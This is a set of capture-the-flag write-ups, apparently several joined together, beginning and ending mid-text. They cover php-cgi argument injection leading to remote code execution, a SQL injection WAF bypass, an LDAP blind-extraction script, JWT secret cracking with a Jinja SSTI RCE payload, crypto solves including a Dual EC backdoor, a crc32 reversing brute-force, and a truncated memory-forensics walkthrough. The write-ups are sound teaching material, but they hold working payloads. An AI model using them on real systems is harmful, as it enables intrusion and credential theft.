website with a value without specifying the parameter (lack of the `=` symbol) the value is somehow interpreted as options for a program on the server called php-cgi which handles communication with the web server related to PHP (the options for the program are listed in the man page linked below), so for example by using the `-s` flag on php-cgi we can output the source code of a PHP file and so by adding `/?-s` to the URI for a PHP file located on a vulnerable server we can view the source code of the file, let's try it on the index page which is a PHP file, by navigating to `/index.php?-s` we get: ![](assets//images//gi_joe_2.png) It worked! and we now know that the flag is in a file called flag.txt located in the root directory of the server, as I mentioned before this vulnerability allows us to execute commands on the server, this can be done by using the `-d` option, using it we can change or define INI entries, or in other words change the configuration file of PHP, in order to run commands we need to change the option `auto_prepend_file` to `php://input`, this will force PHP to parse the HTTP request and include the output in the response, also we need to change the option `allow_url_include` to `1` to enable the usage of `php://input`, so by navigating to `/?-d allow_url_include=1 -d auto_prepend_file=php://input` and adding to the HTTP request a PHP code which executes commands on the server `) ?>` we can achieve arbitrary code execution on the server. let's try doing that to view the flag, we can use `cURL` with the `-i` flag to include the HTTP response headers and `--data-binary` flag to add the PHP code to the HTTP request, in the PHP code we'll use `cat /flag.txt` to output the content of the file, the command is: `curl -i --data-binary "" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"` and by executing this command we get the flag: ![](assets//images//gi_joe_3.png) **Resources:*** Common Gateway Interface: https://en.wikipedia.org/wiki/Common_Gateway_Interface* CVE-2012-1823: https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823* CVE-2012-2311: https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311* a detailed explanation on CVE-2012-1823: https://pentesterlab.com/exercises/cve-2012-1823/course* man page for php-cgi: https://www.systutorials.com/docs/linux/man/1-php-cgi/ ## Waffle LandWe got hacked, but our waffles are now safe after we mitigated the vulnerability. Connect here:\http://jh2i.com:50024 **`flag{check_your_WAF_rules}`** **Solution:** With the challenge we get a url to a website about waffles: ![](assets//images//waffle_land_1.png) There seems to be only two functionalities to this webpage, searching using the search bar or signing in using a username and a password, as we don't have any credentials let's try to fiddle with the search option. The search option returns only the waffles that has the search parameter in them, trying to insert the character `'` gives us an error message: ![](assets//images//waffle_land_2.png) This gives us information about two things, first we know now that the search option uses SQL to filter data, SQL is a language designed for managing and querying databases (with SQL it is common to think of databases as tables with rows of data and columns of attributes), in this case a SQL query is used to select all the products with the having a value in the name attribute similar to the input given, second we know that the web server uses SQLite3 management system, this has some influence on the version of SQL used and on the operations we can use or exploit. A common attack against SQL systems is using SQL injection or SQLi, computers can't differentiate between data and commands and as such it's sometime possible to inject commands where data is requested, for example we can search for `' limit 1 ---` and this will cause the SQL management system if it's vulnerable to SQLi to execute the following query: `select * from product where name like '' limit 1` this query returns the first row of data in the product table, this will be executed because we closed the quotations and added `-- -` at the end which signifies that the rest of the string is a comment.To prevent this attack there are systems in place to filter (sanitize) the input given, one of those is a Web Application Firewall or WAF, this type of systems monitor the HTTP traffic of a web server and prevent attacks such as SQLi by blocking suspicious traffic. Let's first check if we have SQLi to begin with, using the search parameter in the example above gives us the following: ![](assets//images//waffle_land_3.png) Seems like we can use SQLi, now let's try to view the users table in order to sign in to the site, for that we need to add data from the users table to the output of the query, we can use union for that but it will only work if the number of attributes in the the product table and the number of attributes of the data added is the same, let's start with finding the number of attributes in the product table using `' order by n -- -`, adding this to the query will sort the data according to the n'th attribute, and if n is bigger than the number of attributes in this table the query will cause an error, doing so we can discover that the number of attributes in the product table (the table of waffles) is 5. With the number of attributes in mind we can try adding data, first we'll try using `' union select 1,2,3,4,5 -- -` this will add the row `1,2,3,4,5` to the output of the query, by doing so we get the following: ![](assets//images//waffle_land_4.png) It appears that the web server is blocking this search, so we might be working against a WAF after all (fitting the theme of this challenge), trying to work around the WAF I discovered that the WAF is only filtering searches with the string ` union select` so a simple workaround I discovered is using `/**/union/**/select` instead, the symbol `/*` signifies the start of a comment and the symbol `*/` the end of a comment so using `/**/` doesn't change the query's meaning but could possibly help us pass through the WAF, using `'/**/union/**/select 1,2,3,4,5 -- -` gives us the following: ![](assets//images//waffle_land_5.png) So now we have a way to add data to the output, we still need to get data about the users so we need to know the name of table which stores users data and the attributes of the table, checking if we can select data from a table named `users` by using `'/**/union/**/select 1,2,3,4,5 from users -- -` gives us an error but by checking for `user` seems to work so we can guess there is a table named `user` in the database, we need to get usernames and passwords from this table, I discovered through trial and error that there attributes named `password` and `username` so we can search for the following to get the data we need from this table: `' and 0=1/**/union/**/select/**/1,username,password,4,5 from user ---` the query executed will be: `select * from product where name like '' and 0=1/**/union/**/select/**/1,username,password,4,5 from user` this will first select the data from the product table and filter only the data that satisfy the condition 0=1, so the query will filter all the data from the product table, then it adds the data in the username and the password columns of the table user and uses number 1,4 and 5 to pad the data so we can use union, from the search we get the password and the username for admin: ![](assets//images//waffle_land_6.png) We can now login as admin and receive the flag: ![](assets//images//waffle_land_7.png) **Resources:*** SQL: https://en.wikipedia.org/wiki/SQL* SQLite: https://en.wikipedia.org/wiki/SQLite* SQL injection (SQLi): https://en.wikipedia.org/wiki/SQL_injection* Web Application Firewall (WAF): https://en.wikipedia.org/wiki/Web_application_firewall* SQLi cheatsheet: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection ## Lightweight Contact BookLookup the contact details of any of our employees! Connect here:\http://jh2i.com:50019 **`flag{kids_please_sanitize_your_inputs}`** **Solution:** We again receive a url to a website with the challenge which seems...empty ![](assets//images//lightweight_1.png) We have two options (again), to search and to login using a username and a password, but this time we also have the option to recover a user's password: ![](assets//images//lightweight_2.png) We can try some common usernames, all of them seems to give us the message "Sorry, this functionality is currently unavailable" except for the username `administrator` which gives us the following: ![](assets//images//lightweight_3.png) Okay so we have a username that is administrator...what's next? after a bit of fuzzing the search bar I got an error message: ![](assets//images//lightweight_4.png) by googling the error message I discovered that this website using a protocol called LDAP for the search, LDAP or Lightweight Directory Access Protocol is a protocol for accessing directory service over the internet (directory service is a shared information infrastructure, can be thought of as a database for this challenge), in this protocol the symbol `*` stands for a wildcard and filtering is done using `(<attribute>=<value>)` and filters can be appended together. By searching for `*` we can view the display name and the email of employees, one that stand out is the employee with the display name `Administrator User`, by trying to search for `Admin*` we can see that only the row with this employee is left, so we can assume that the statement used by the search option is `(name=<search input>)` and that we need to discover the description for the employee with the name `Administrator User`. A common attack against LDAP is using LDAP injection which is very similar to SQL injection, a simple example for LDAP injection is to search for `*)(mail=administrator@hacktivitycon*` the statement that will be executed by our assumption is: `(name=*)([email protected])` and only the employee(s) with this email will be displayed, trying that gives us: ![](assets//images//lightweight_5.png) and it seems that we can use LDAP injection, so we want to get the password stores in the description of the administrator but we cannot display it so we can do something similar to blind SQL injection, by search for `Admin*)(description=<string>*` and changing the value of string character by character, we have two options:* The value is the start of password and the information about the Administrator will be displayed as it matches both of the filters.* The value is not the start of the password and information about the Administrator will not be displayed because it doesn't match the second filter. we can start with an empty string an go through all the characters trying to append the character to the string until information about the Admin is displayed, at this point we know that the string is the start of the password and we can try to add another character to the string by again going through all the characters and so on until we can no longer add characters, so I wrote a python script to do that: ```python import urllib.parse, urllib.requestfrom string import printable password = ''while 1: for c in printable: query = 'Admin*)(description={}*'.format(password + c) url = 'http://jh2i.com:50019/?search=' + urllib.parse.quote(query) response = urllib.request.urlopen(url).read() if b'Admin' in response: password += c print(password) break ``` by running the script we get the password: ![](assets//images//lightweight_6.png) and we can connect with the username `administrator` and the password `very_secure_hacktivity_pass` to receive the flag: ![](assets//images//lightweight_7.png) **Resources:*** Lightweight Directory Access Protocol (LDAP): https://en.wikipedia.org/wiki/Lightweight_Directory_Access_Protocol* LDAP injection: https://www.synopsys.com/glossary/what-is-ldap-injection.html* LDAP injection cheatsheet: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection ## Template ShackCheck out the coolest web templates online! Connect here:\http://jh2i.com:50023 **Post-CTF Writeup**\**`flag{easy_jinja_SSTI_RCE}`** **Solution:** With the challenge we get a url for a webpage about web templates: ![](assets//images//template_shack_1.png) By the name of the challenge we can guess we need to use Server-Side Template Injection or SSTI.\This vulnerability is caused due to the nature of template engine, template engines are programs designed to embed dynamic data into static template files, a good example for this kind of templates are actually the one shown in this site, but using templates could allow attackers to inject template code to the website, because the template engine can't distinguish between the intended code and data unsafe embedding of user input without sanitization could result with user input interpreted as code and parsed by the engine, allowing attackers to reveal private information and even run arbitrary code on the server. But, this page doesn't seems to be vulnerable to SSTI, we could guess by the design and HTTP response's headers that this site is running jinja as the template engine with flask as the framework.\After the CTF ended I discovered that there is an SSTI vulnerability...in the admin page, so we need to sign in as admin first, looking around the website some more we can see that the site uses cookies to save user state, as I explained in a previous writeup: >...because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user in our case the cookie is actually a JSON Web Token or JWT, JWT is an internet standard for creating signed information and is used mostly for authentication, a token composes of three parts separated by a dot:* An Header, this header identifies the algorithm used to generate the signature (the third part of the token), this part is base64 encoded* A Payload, contains the set of claims, or in other words the actual signed data, this part is also base64 encoded* A signature, this part is used to validate the authenticity of the token, the signature is created by appending the previous two parts to a secret and then using the signing scheme or the message authentication code system listed in the header to encrypt the data. Let's look at our token using a tool called jwt_tool (listed in the resources): ![](assets//images//template_shack_2.png) We have only one claim in the token's payload and it's for the username, so we need to change the value of the claim to admin, there are multiple ways to modify a JWT but bruteforcing the secret key using a dictionary worked for me, we could do that using the same tool and a public dictionary for passwords called rockyou.txt with the following command: `python3 jwt_tool.py -C eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0In0.9SvIFMTsXt2gYNRF9I0ZhRhLQViY-MN7VaUutz9NA9Y -d rockyou.txt` By doing so we get the secret key `supersecret`, and using the same tool and the secret key we can modify the token so that the username is admin, the modified token is: `eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.Ykqid4LTnSPZtoFb11H+/2q+Vo32g4mLpkEcajK0H7I` and by changing the cookie stored for the website to this token we get signed in as admin: ![](assets//images//template_shack_3.png) Checking out the admin page we see that it uses the first template shown on the index page: ![](assets//images//template_shack_4.png) so we now might be able to use SSTI, there are only two pages available two us, the charts page and the tables page in the side toolbar, both show a 404 error: ![](assets//images//template_shack_5.png) After a bit of fuzzing I discovered that we can add template code to the 404 error page by changing the URL of the page to `http://jh2i.com:50023/admin/`, for example by navigating to `http://jh2i.com:50023/admin/{{7*7}}` we get: ![](assets//images//template_shack_6.png) so now that we can use SSTI we can get RCE using the following payload: `{{config.__class__.__init__.__globals__['os'].popen('<command>').read()}}` I will not go to details about why it works because this writeup is long as it is but basically the part `config.__class__.__init__.__globals__` returns a list global variables of the class which config is an instance of, one of those is the module os, using the module os we can create a new process with popen which will execute a command and using read() will return the output of the command, first let's see what we have in our working directory: ![](assets//images//template_shack_7.png) it worked! and there is a file called flag.txt in this directory reading it using `cat flag.txt` gives us the flag: ![](assets//images//template_shack_8.png) **Resources:*** Server Side Template Injection (SSTI): https://portswigger.net/research/server-side-template-injection* Template engine: https://en.wikipedia.org/wiki/Template_processor* SSTI cheatsheet: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection* JSON Web Tokens: https://en.wikipedia.org/wiki/JSON_Web_Token* JSON Web Tokens cheatsheet: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/JSON%20Web%20Token* jwt_tool: https://github.com/ticarpi/jwt_tool
# Inctfi 2020 Writeups - Crypto - [PolyRSA](#polyrsa) - [DLPoly](#dlpoly) - [bakflip&sons](#bakflip) - [EaCy](#Eacy) --- # PolyRSA Challenge Writeup [Crypto] For this challenge we were given a single file [out.txt](/Inctfi-2020/PolyRSA/out.txt) which contains commands used in sage interactive shell and there output. In the `out.txt` file we have, three values - p = 2470567871 (a prime number)- n = ... (a 255 degree polynomial)- c = m ^ 65537 (also a polynomial) These parameters constitute the `RSA` Encryption but instead of `Group` of numbers modulo `n`, thisuses `univariate polynomials over the finite field Zp`.Use the following resource to understand about this [Polynomial based RSA](http://www.diva-portal.se/smash/get/diva2:823505/FULLTEXT01.pdf) As in integer group, we have to find the `multiplicative` order of the group formed by `residue polynomials` of given `n`. Above resource specifies the formula in page 14 as `s = (p**d1 - 1) * (p**d2 - 1)` where d1 and d2 are the degrees of irreducible polynomials constituing the given `modulus(n)`. After obtaining `s` (multiplicative order), finding the inverse of `e = 65537` and raising the `ct` polynomial to the inverse gives the `message` polynomial. Converting the coefficients of `message` polynomial gives us the `flag`. ```pythonq1, q2 = n.factor()q1, q2 = q1[0], q2[0]s = (p**q1.degree() - 1) * (p**q2.degree() - 1)assert gcd(e, s) == 1d = inverse_mod(e, s)m = pow(c, d, n)flag = bytes(m.coefficients()) ```solution code :: [solve.sage](/Inctfi-2020/PolyRSA/solve.sage) Flag :: inctf{and_i_4m_ir0n_m4n} --- # DLPoly challenge writeup [Crypto] Got second blood for this challenge.This challenge is similar to above challenge. we were given [out.txt](/Inctfi-2020/DLPoly/out.txt) file which contains the commands and output in sage interactive shell. In the `out.txt` file we have,- p = 35201- n (a 256 degree polynomial with coefficients in Zmod(p))- len(flag) = 14- g = x (a 1 degree polynomial)- X = int.from_bytes(flag.strip(b'inctf{').strip(b'}') , 'big')- g ^ X In order to get the `flag`, we have to solve the `discrete logarithm` in the `group`of `residues(polynomial)` modulo `n` with coefficients in `Zmod(p)`(Zp[x]). Use the resource mentioned in [PolyRSA](#polyrsa) writeup for a better understanding. factoring `n` and finding the `order` ```pythonnfactors = n.factor()s = 1for i in nfactors: s *= p**(i[0].degree()) - 1```factoring the `order(s)` shows that `s` has many small factors.```python 2^208 * 3^27 * 5^77 * 7^2 * 11^26 * 13 * 31^25 * 41^25 * 241 * 271 * 1291^25 * 5867^26 * 6781^25 * 18973 * 648391 * 62904731^25 * 595306331^25 * 1131568001^25``` As the `order` contains `small factors`, we can use `pohlig hellman algorithm` to find `discrete logarithm`. we have to select the `factors` carefully as raising `base element (g)` to many of the factors gives the `identity element (1)` which we cannot use. So, taking the following factors```python[7^2, 13, 241, 271, 18973, 648391] ```we can calculate the value of `flag(X)` modulo `prod([7^2, 13, 241, 271, 18973, 648391])` using `CRT`.Value obtained is the correct value of the `flag` as the `X` is less than `2**(7*8)` i.e `X` is 7 bytes long. quick and ugly implementation of pohlig hellman ::```pythondef brute_dlp(gi, ci, n, lim): bi = gi for i in range(1, lim+1): if bi == ci: return i bi = (bi * gi) % n print("[-] NOT in the range") print("[-] Something's Wrong, you gotta check the range", lim) def pohlig_hellman(g, c, s, n, factors): res = [] modulus = [] for q, e in factors: assert pow(g, s//(q**e), n) != 1 gi = pow(g, s//(q**e), n) ci = pow(c, s//(q**e), n) dlogi = brute_dlp(gi, ci, n, q**e) print("[+] dlog modulo {0} == {1}".format(q**e, dlogi)) res.append(dlogi) modulus.append(q**e) print("\n[*] res = ", res) print("[*] modulus = ", modulus) dlog = CRT(res, modulus) print("\n[+] dlog modulo {0} == {1}".format(prod(modulus), dlog)) return dlog``` solution code :: [solve.sage](Inctfi-2020/DLPoly/solve.sage) Flag :: inctf{bingo!} --- # Bakflip&sons challenge Writeup [Crypto] This challenge runs the [challenge.py](/Inctfi-2020/Bakflip_n_sons/challenge.py) on the server. It provides two functionalities `signMessage` and `getFlag`.`signMessage` signs the given message using then`ecdsa` with `NIST198p` elliptic curve.`getFlag` gives us the `flag` if we can provide the `ecdsa signature` of message `please_give_me_the_flag`. ```pythondef signMessage(): print(""" Sign Message Service - courtsy of bakflip&sons """) message = input("Enter a message to sign: ").encode() if message == b'please_give_me_the_flag': print("\n\t:Coughs: This ain't that easy as Verifier1") sys.exit() secret_mask = int(input("Now insert a really stupid value here: ")) secret = secret_multiplier ^ secret_mask signingKey = SigningKey.from_secret_exponent(secret) signature = signingKey.sign(message) print("Signature: ", hexlify(signature).decode()) def getFlag(): print(""" BeetleBountyProgram - by bakflip&sons Wanted! Patched or Alive- $200,000 Submit a valid signature for 'please_give_me_the_flag' and claim the flag """) signingKey = SigningKey.from_secret_exponent(secret_multiplier) verifyingKey = signingKey.verifying_key try: signature = unhexlify(input("Forged Signature: ")) if verifyingKey.verify(signature, b'please_give_me_the_flag'): print(flag) except: print("Phew! that was close")``` As we can see in the `signMessage` function declaration, it doesn't allow us to obtain `signature` of our `target message`. At the start of execution, `challenge.py` generates `secret key` with `101 bit_length````pythonsecret_multiplier = random.getrandbits(101)```In order to forge the signature, we have to calculate the `secret key`, we won't be able to solve the`ecdlp` but we can use the `additional secret mask` requested in `signMessage` function.```pythonsecret_mask = int(input("Now insert a really stupid value here: "))secret = secret_multiplier ^ secret_mask```so, we can modify the `secret key` used for `signing`.we can use this to completely obtain the `secret key` in a few iterations.```Let G be the generators1 is the secret_keys2 is the secret_key ^ mask (^ --> xor operation)P = s1 * GQ = s2 * Gsuppose if the mask is `1` s2 = s1 ^ 1 , (xor with 1 flips the lsb) if lsb of s1 is 0 then s2 = s1 + 1 => Q = s2 * G = (s1 + 1) * G = P + G else if lsb of s1 is 1 then s2 = s1 - 1 => Q = s2 * G = (s1 - 1) * G = P - G Given the points P, Q we can obtain the lsb of secret_key s1by checking if Q == P + G then lsb of secret key is 0 else Q == P - G then lsb of secret key is 1 similarly we can set the nth(lsb is 0 bit) lower bit in the mask i.e mask = (1 << n)flipping the nth lower bit, decreases or increases the secret_key(s1) by 2**n based on whether nth bit in secret_key is set or notso, checking if Q == P + (2**n) * G or Q == P - (2**n) * G gives the nth bit``` Using the above method recursively gives the complete `secret key` and we can use that to forge the required `signature`. There are small hurdles in the challenge1. Only `signature` is given, we have to calculate the `Public Key (P)`.2. We have only `73` iterations, we have to calculate the `101 bit key` using less than `72` iterations. For the first problem, we can use the `signature (r,s)` to obtain the `Public Key`, two valid `Public Keys` are possible for a given `signature` pair `(r, s)`. we have to use other `Public Keys` to identify the correct key. For the second problem, we can extend the same theory for any number of bits with bruteforceable number of cases.example of `2 bits`.```pythonsecret_key_lsb =>00 --> Q = P + 3*G01 --> Q = P + G10 --> Q = P - G11 --> Q = P - 3*G```Using the above approach with `2 bits`, we can calculate secret_key using less than `72` iterations and get the `flag`. There are a lot of small implementation details, check out my solution code :: [solve.sage](/Inctfi-2020/Bakflip_n_sons/solve.sage) FLAG :: inctf{i_see_bitflip_i_see_family} --- # EaCy challenge writeup [Crypto] Luckily I got First Blood for this challenge. we were given four files1. [ecc.py](/Inctfi-2020/EaCy/ecc.py) contains classes to work with elliptic curves2. [ansi931.py](/Inctfi-2020/EaCy/ansi931.py) contains classes to generate random data using ANSI X9.31 with AES 1283. [prng.py](/Inctfi-2020/EaCy/prng.py) contains implementation of dual_ec_drbg random generator along with prng using ANSI X9.314. [encrypt.py](/Inctfi-2020/EaCy/encrypt.py) The basic flow of service is as follows- Generates a `random number` e using the `prng` defined in `prng.py`.- Asks to choose between `[1] Asynchronous SchnorrID` and `[2] Synchronous SchnorrID`. - Asks the user for two Points `Q`, `R`.- Gives the value of `e` to the user if 1 is selected (Asynchronous SchnorrID)- User has to provide value of `s` such that `s*P == e*Q + R`, P is an hard coded point- if the above condition fails then it closes the connection- if we can provide the correct `s` without the `e` value i.e in `Synchronous SchnorrID`, we can request the flag service repeats the above process for 10 times. if we have `e` value, we can pass the condition by sending point `P` for both `Q` and `R` values and `(e + 1)` value.```s*P = (e + 1) * P = e*P + P = e*Q + R```so, if we know the value of `e` we can easily pass the condition, in order to get the flag we have tocalculate the `s` value without taking `e` from the service. Only way is to crack the `prng` used```python def prng_reseed(self): self.prng_temporary = long_to_bytes(self.ecprng_obj.ec_generate()) assert len(self.prng_temporary) == 32 self.prng_seed = self.prng_temporary[:8] prng.prng_output_index = 8 self.prng_key = self.prng_temporary[8:] prng.prng_output_index = 32 return bytes_to_long(self.prng_temporary) def prng_generate(self): _time = time.time() prng.prng_output_index = 0 if not self.one_state_rng: print("prng_reseed ", self.prng_reseed()) ansi_obj = ANSI(self.prng_seed + self.prng_key + long_to_bytes(_time).rjust(16, "\x00")) while prng.prng_output_index <= 0x1f: self.prng_temporary += ANSI.get(8) prng.prng_output_index += 8 print("prng generate = ", bytes_to_long(self.prng_temporary)) return bytes_to_long(self.prng_temporary)```At the first glance, it may seem like the `prng` is using `ANSI` class to generate `random data` but in the settings used by the challenge, `prng` directly gives the `random_data` generated by `dual_ec_drbg`.```pythonclass ecprng: # Curve P-256; source: https://safecurves.cr.yp.to/ p = 2**256 - 2**224 + 2**192 + 2**96 - 1 a = p-3 b = 41058363725152142129326129780047268409114441015993725554835256314039467401291 ec = ecc.CurveFp(p, a, b) _Px = 115113149114637566422228202471255745041343462839792246702200996638778690567225 _Py = 88701990415124583444630570378020746694390711248186320283617457322869078545663 Point_P = ecc.Point(ec, _Px, _Py) _Qx = 75498749949015782244392151836890161743686522667385613237212787867797557116642 _Qy = 19586975827802643945708711597046872561784179836880328844627665993398229124361 Point_Q = ecc.Point(ec, _Qx, _Qy) def __init__(self, seed): self.seed = seed if self.seed: assert len(long_to_bytes(self.seed)) == 32 def update_seed(self, intermediate_state_S_1): self.seed = (intermediate_state_S_1 * ecprng.Point_P).x() assert len(long_to_bytes(self.seed)) == 32 def ec_generate(self): intermediate_state_S_1 = (self.seed * ecprng.Point_P).x() self.update_seed(intermediate_state_S_1) r_1 = long_to_bytes((intermediate_state_S_1 * ecprng.Point_Q).x())[-30:] r_2 = long_to_bytes((self.seed * ecprng.Point_Q).x())[-30:][:2] assert len(r_1 + r_2) == 32 print("seed == ", self.seed) return bytes_to_long(r_1 + r_2)```so, `random_number` `e` is generated using `dual_ec_drbg` with `P-256` curve.we can predict the `next state` of the generator if author has inserted a backdoor into the generator.See the video from `David Wong` for an excellent explanation about the backdoor [link](https://www.youtube.com/watch?v=OkiVN6z60lg). so, generator state consists of two points and seed.To generate a random number- s1 = (seed * P).x()- random_number = (s1 * Q).x() & ((1 << 240) - 1) ; (lower 240 bits)- seed = (s1 * P).x() generator follows this above procedure to calculate a single random number.One who decides the points `P` and `Q` has the ability to insert a `backdoor` into the `generator` which will allow him to `predict` the `future states` of `generator` given a `single random number`generated and little other information.The way one can do it is, ```if Q = c * P (c can be any number)given random_number = (s1 * Q).x() lifting the random_number gives the value of (s1 * Q) multiplying the value of (s1 * Q) with the inverse(c, order) and take the x co-ordinate of the result gives the seed.``````cinv * (s1 * Q) = cinv * s1 * c * P = s1 * P = seed```After obtaining the `seed`, one can generate all the future states. There are little changes in the implementation of `dual_ec_drbg` in this challenge. For the points used in this challenge, `Q = 1735 * P`.backdoor exists in this generator. Normally, top `16 bits` of the `random number` i.e `(s1 * Q).x()` are removed, we have to use another `random number` to filter out the wrong ones but in this challenge we are given with additional information in the form of `r2`, we can use that to filter.So, we only need single `e`, after that we can predict all the future states. Final solution is- obtain a value of e by selecting the 1 option(`Asynchronous SchnorrID`)- bruteforce the top `16 bits` and find the `seed`- select option 2, predict the value of e, pass the check using above mentioned method - get the `flag` solution code :: [solve.sage](/Inctfi-2020/EaCy/solve.sage) FLAG :: inctf{Ev3ry_wa11_1s_4_d00r_but_7his_1s_4_D0ubl3_d0or}
## Description Flick will pay 390 bells for this cricket. ## Included Files cricket32.S ## Writeup It was a nice change of pace from all of the other pwn/re/kernel exploit challenges in this competition to just get a small assembly source code to work with. I started off by compiling it and running it through radare2 to see what was going on as we stepped through the program. If you're used to only reversing compiled C binaries then this was a bit different. No library or system calls, several instructions that aren't typically produced by gcc, and just some general ways of doing certain routines that you just wouldn't see from compiled C code. For instance, one of the first things you get into in the program is this loop: ![strlen loop](r21.png) In typical compiled code you would expect ebp to serve its purpose of pointing to the base of the stack, and anything done do it would be in service of that purpose. However, this program doesn't really make use of the stack at all, so ebp instead gets used as an index to the string you pass in as an argument, and ultimately as a determinant of how long that string is. The goal at this point of the program is that we want to have input a string that is longer than 26 characters in length so that we pass that jg check and skip over getting slapped with the "nope" string and proceed to see what else the challenge has to offer in this loop: ![crc32 loop](r22.png) Here we get into the real meat and potatoes of the program, and at first it doesn't make much sense. But to attempt to walk through what's going on: ebx holds the address to another point in the program (not a string, not any particular data, nor function, but just a point to some instructions). It loads the first two instruction bytecodes into the low bytes of edx, then changes the byte order of edx, loads the next two bytecodes from the position ebx points to, swaps those lower bytes with each other, and then moves ebx ahead 13 bytes for the next time it gets called in the loop. Then edx, the garbled up mess of instruction byte codes from who knows where in the program, gets passed as the destination register for a call to the builtin crc32 instruction with a double word from our passed in flag as the source. I really had to step through to figure out what was going to happen next. Here is edx before the crc32 instruction executes with all of its little swapped around bytecodes: ![edx before](r23.png) And here it is after: ![edx after](r24.png) Which, is the first four bytes of the flag I passed in, "uiuc", which we knew to at least be the beginning of the flag. Then edx gets xor'd against those same four bytes and or'd onto edi, which later gets checked whether or not it's 0 when decided whether the flag was correct or not. So, what kuilin, who wrote this, did is find a consistent series of bytecodes in the binary itself to grab and manipulate, and then use in executing the crc32 instruction with four bytes from the flag that would result in the exact same four bytes as the flag you input! For each four byte segment of the flag! After getting a decent understanding of what was going on I stepped through it a couple of times with a few a different inputs to make sure that the values being set for edx were the same every time, and recorded what they were. With all of that set up I just made a little function with some inline assembly to make use of the crc32 instruction and a check to see whether the input was right or not: bool crc_check(int constant, int seg) { int result; __asm__( "crc32 %%ebx, %%eax\n" :"=a"(result) :"b"(seg), "a"(constant) ); if ((result ^ seg) == 0) { return true; } return false; } Then it was just a simple matter of brute forcing it along with some already known values. To speed things up on the first go through I crossed my fingers hoping that the flag would just be lowercase and underscores, which ended up working out for me in the end. Note: I know these nested if statements are a mess, please don't judge me for them. int main() { int constants[7] = {0x4c10e5f7, 0xf357d2d6, 0x373724ff, 0x90bbb46c, 0x34d98bf6, 0xd79ee67d, 0xaa79007c}; int flag[7] = {0x63756975, 0x617b6674, 0x5f5f5f5f, 0x5f5f5f5f, 0x5f5f5f5f, 0x5f5f5f5f, 0x007d5f5f}; for (int i = 0; i < 7; ++i) { while (!crc_check(constants[i], flag[i])) { flag[i]++; if ((flag[i] & 0x000000ff) == 0x0000007e) { flag[i] &= 0xffffff5f; flag[i] += 0x100; if ((flag[i] & 0x0000ff00) == 0x7e00) { flag[i] &= 0xffff5fff; flag[i] += 0x10000; if ((flag[i] & 0x00ff0000) == 0x7e0000) { flag[i] &= 0xff5fffff; flag[i] += 0x1000000; } } } printf("%08x\r", flag[i]); } printf("%08x\n", flag[i]); } return 0; } And just like that I got some results. ![results](out.png)
# LOGarithmInCTF had some nice forensics challenges. I ended up solving 3 out of the 4. In this writeup, I chose to talk about the LOGarithm challenge, even though its one of the easiest ones, but I really enjoyed it. ![desc](https://i.ibb.co/d2NHSZn/log.png) In this challenge, we were given a memory dump of a windows machine and a network traffic capture and we are asked to find the exfiltrated data. We started off by identifying the profile image of the system.![img](https://i.ibb.co/34VFfwc/Screenshot-1.png) After that, we ran pstree which shows a python & a cmd processes ran by explorer.exe.```volatility -f Evidence.vmem --profile=Win7SP1x64 pstree | tee pstree.txt``````Name Pid PPid Thds Hnds Time-------------------------------------------------- ------ ------ ------ ------ ---- 0xfffffa8002d99b30:svchost.exe 768 504 7 270 2020-06-02 10:36:15 UTC+0000 0xfffffa80030b6500:dllhost.exe 1796 504 17 198 2020-06-02 10:36:19 UTC+0000 0xfffffa8002cef060:spoolsv.exe 1160 504 13 264 2020-06-02 10:36:17 UTC+0000 0xfffffa8002d42970:svchost.exe 672 504 10 353 2020-06-02 10:36:15 UTC+0000. 0xfffffa80030cbb30:WmiPrvSE.exe 1764 672 10 202 2020-06-02 10:36:19 UTC+0000. 0xfffffa8002b63500:WmiPrvSE.exe 2280 672 11 292 2020-06-02 10:36:39 UTC+0000 0xfffffa8002e7d350:vmtoolsd.exe 1416 504 10 270 2020-06-02 10:36:18 UTC+0000. 0xfffffa80021208d0:cmd.exe 2556 1416 0 ------ 2020-06-02 10:40:46 UTC+0000 0xfffffa8003214b30:svchost.exe 2716 504 15 223 2020-06-02 10:36:55 UTC+0000 0xfffffa80033e9060:SearchIndexer. 2452 504 12 622 2020-06-02 10:36:45 UTC+0000. 0xfffffa80038cd350:SearchProtocol 2528 2452 8 282 2020-06-02 10:40:06 UTC+0000. 0xfffffa800319fb30:SearchFilterHo 3528 2452 6 101 2020-06-02 10:40:06 UTC+0000 0xfffffa8002dccb30:svchost.exe 816 504 21 475 2020-06-02 10:36:15 UTC+0000. 0xfffffa8002eafb30:audiodg.exe 288 816 7 131 2020-06-02 10:36:16 UTC+0000 0xfffffa8002db9060:svchost.exe 1204 504 20 307 2020-06-02 10:36:17 UTC+0000 0xfffffa80031634a0:msdtc.exe 1924 504 15 153 2020-06-02 10:36:19 UTC+0000 0xfffffa8002e58b30:svchost.exe 928 504 14 291 2020-06-02 10:36:16 UTC+0000. 0xfffffa800328eb30:dwm.exe 296 928 4 72 2020-06-02 10:36:38 UTC+0000 0xfffffa80032943f0:sppsvc.exe 3344 504 4 144 2020-06-02 10:38:19 UTC+0000 0xfffffa8002e85b30:svchost.exe 976 504 43 975 2020-06-02 10:36:16 UTC+0000. 0xfffffa8002d3e060:taskeng.exe 1172 976 5 79 2020-06-02 10:36:17 UTC+0000 0xfffffa800335a060:WmiApSrv.exe 3276 504 6 116 2020-06-02 10:38:44 UTC+0000 0xfffffa8002ee1b30:svchost.exe 344 504 24 659 2020-06-02 10:36:16 UTC+0000. 0xfffffa80027e2060:wininit.exe 412 344 3 74 2020-06-02 10:36:08 UTC+0000.. 0xfffffa8002b51b30:lsm.exe 528 412 9 144 2020-06-02 10:36:08 UTC+0000.. 0xfffffa8002b60660:lsass.exe 520 412 6 558 2020-06-02 10:36:08 UTC+0000.. 